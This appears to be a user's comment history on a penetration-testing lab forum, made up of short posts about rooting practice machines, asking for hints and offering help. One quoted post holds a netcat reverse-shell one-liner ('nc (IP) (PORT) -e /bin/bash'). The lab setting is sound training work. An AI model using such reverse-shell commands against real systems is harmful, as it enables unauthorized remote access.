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  • Rooted. Going from user to root was challenging, but really satisfying. I agree with those saying this box shouldn't be categorized as "Easy." Quite a bit of research necessary. Learned a ton. If anyone needs a hand, feel free to DM.
    in Haystack Comment by phaz0n October 2019
  • Rooted. I did what seemed like the "easier" priv esc... I need to go back and try the other. Wonder if the former was intended. If anyone needs a nudge, feel free to PM me.
    in Json Comment by phaz0n October 2019
  • Got root. PM if you need a hand.
    in Writeup Comment by phaz0n October 2019
  • Rooted. Very rewarding box. Loved that this was all about digging through scripts and understanding what they do. Here for help if anyone needs it.
  • Type your comment> @casey said: (Quote) nc (IP) (PORT) -e /bin/bash Finally got user. But no idea how people are getting that command to work. Netcat kept dying immediately, so I had to try other shells.
  • Finally rooted. Ended up doing every step manually. If anyone needs a hand, let me know. Just curious: Was there any way to get that password without brute forcing/guessing?
    in Wall Comment by phaz0n September 2019
  • I wouldn't have figured to use r**** without the hints here. What was I supposed to find on this box that would've led me to try using this tool on my own?
    in Access Comment by phaz0n December 2018
  • Any hints on the file ext? I found a bunch that work, but nothing that I can use. Edit: Nevermind, got it! Time for what seems to be a frustrating user flag. Oh boy.
    in Bounty Comment by phaz0n July 2018
  • Same here. I've been grepping all files for phrases like "pass" and "password", but haven't found anything useful.
    in Hawk Comment by phaz0n July 2018
  • Can't find this d***** password anywhere in the box... Any hints as to where it could be? I've checked all the config files I can find.
    in Hawk Comment by phaz0n July 2018
  • I'm pretty sure I know where to use the creds (currently in RCE mode), but my syntax must be off... Any help would be really appreciated.
    in Stratosphere Comment by phaz0n July 2018
  • Finally got user after messing with XML forever. Father with three sons was what made it all click.
  • Finally got root flag. Just read the man page six times.
  • I believe I'm aware of the right tool to use for grabbing root.txt, but I can't figure out the right switches for running it properly. I've read the man page and tried pretty much every potentially relevant option there. Any hints for where to go fr…
  • I see the tool I need to use for root but keep getting "No permission to list directory." Any hints would be rad.
  • Shoutout to everyone who feels the need to change all the passwords.
  • ---->{00F}!
    in Chatterbox Comment by phaz0n June 2018
  • (Quote) Waiting 5 minutes wouldn't be so bad if the box could stay up for more than 5 minutes at a time...

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